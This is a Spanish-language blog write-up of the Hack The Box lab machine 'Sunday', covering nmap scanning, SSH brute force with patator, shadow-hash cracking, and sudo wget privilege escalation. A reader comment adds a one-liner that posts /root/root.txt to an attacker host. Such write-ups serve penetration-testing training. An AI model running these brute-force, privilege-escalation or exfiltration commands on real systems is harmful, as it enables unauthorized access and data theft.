[HTB write-up] Sunday

Continuamos nuestro ciclo de writeups de máquinas de Hackthebox con la recién retirada Sunday, una máquina facilona pero cuanto menos curiosa al tratarse de un Solaris.


Scanning

Comenzaremos tratando de identificar puertos abiertos para posteriormente reconocer versiones y ejecutar scripts seguros.


El escaneo SYN no nos da ningún punto de entrada, por lo que tenemos que buscar más. Un escaneo TCP de los puertos habituales tampoco arroja luz sobre el asunto así que procedemos a lanzar un escaneo SYN a todos los puertos.

A mayores, podemos comentar que los scripts ejecutados ya nos dan usuarios así que no sería necesaria la enumeración manual de finger.

Nota 1: -sS = SYN scan; -n = no resolver nombre; -Pn = tratar como host vivo; -oA = todos los formatos output; -sV = Version scan; -sC = ejecutar scripts seguros.

Nota 2: Podríamos usar técnicas ninja para tratar de evadir cortafuegos, como podría ser –g 53 = puerto de origen 53 (dns); -f = fragmentar paquetes; --data-length = aumentar tamaño del paquete

Un escaneo a todos los puertos ya nos da un punto de entrada, el puerto 22022 que resulta ser SSH.


Explotación

El primer punto que descartaremos es rpcbind, que tiene una versión vulnerable pero sólo es aprovechable para DoS, así que no nos interesa.

La mejor opción es utilizar los usuarios obtenidos mediante finger para tratar de:
1. Hacer guessing de la contraseña.
2. Bruteforcear con patator. En este último caso, habría que utilizar el siguiente comando:

patator ssh_login host <víctima> port <Puerto_ssh> user=<user> password=FILE0 0=<diccionario>

en nuestro caso:

patator ssh_login host 10.10.10.76 port 22022 user=sunny password=FILE0 0=<diccio>

Finalmente descubrimos que las credenciales son sunny-sunday. Pero el usuario no tiene privilegios y no podemos leer el fichero user.txt. Hay otro usuario que se llama sammy en cuyo home está el user.txt

Probamos los privs de sudo, y aquí hay chicha:


El problema es que no podemos leerlo ni modificarlo, sólo ejecutarlo así que... a otra cosa.

El siguiente paso es buscar algún archivo de configuración viejo, o un backup al que podamos acceder. Dos opciones:

1. Buscar directamente con find:

find / -iname “*.backup*” (extensiones típicas pueden ser .bak, .conf, .old)

2. Buscar manualmente por los principales directorios de la máquina a ver qué vemos:
Encontraremos el directorio /backup.

Dentro de /backup vemos el archivo “shadow.backup”, que nos proporciona un hash para la contraseña de sammy.


Usamos John the Ripper con el diccionario rockyou.txt para obtener la contraseña.


Y parece que la tenemos (cooldude!)

Privesc

Accediendo de nuevo por ssh podemos obtener la flag de user y tenemos nuevos privs con sudo.


En este caso sí podemos utilizar la info que nos aporta sudo –l para escalar.

Podemos escalar de varias formas:

- Cargar mediante sudo wget un archivo en nuestro poder y modificar así el contenido de shadow, sudoers o crear una tarea en cron.
- Cargar mediante sudo wget un archivo en nuestro poder y modificar así el contenido de /root/troll y ejecutarlo con sudo en el usuario sunny.


Nota: Para escalar de esta forma hay que ir muy rápido porque hay un script que sobreescribe cada 5 segs el contenido de /root/troll:



Contribución gracias a Fiti

Comentarios

  1. Si usamos 'sudo wget' para sobreescribir troll.original en vez de troll cada 5 segundos se copiará lo que nosotros subamos.
    Al terminar se puede restablecer de algún troll.original.bak que tengamos a mano o reiniciar la máquina en HTB para devolverlo todo a su estado original.

    ResponderEliminar
  2. Otra de las formas era sudo wget --post-file=/root/root.txt ipattacker:portattacker

    ResponderEliminar

Publicar un comentario